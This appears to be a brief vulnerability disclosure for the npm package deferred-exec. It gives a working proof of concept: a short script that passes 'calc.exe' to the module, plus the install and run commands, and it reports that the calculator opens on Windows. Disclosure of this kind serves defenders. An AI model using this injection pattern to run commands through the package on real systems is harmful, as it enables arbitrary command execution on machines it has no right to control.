Command Injection in deferred-exec

Proof of Concept

  1. Create the following PoC file:
// poc.js
var a = require("deferred-exec");
a(" calc.exe ",{});
  1. Execute the following commands in terminal:
npm i deferred-exec # Install affected module
node poc.js #  Run the PoC
  1. On execution, windows application "calc.exe" will get open.
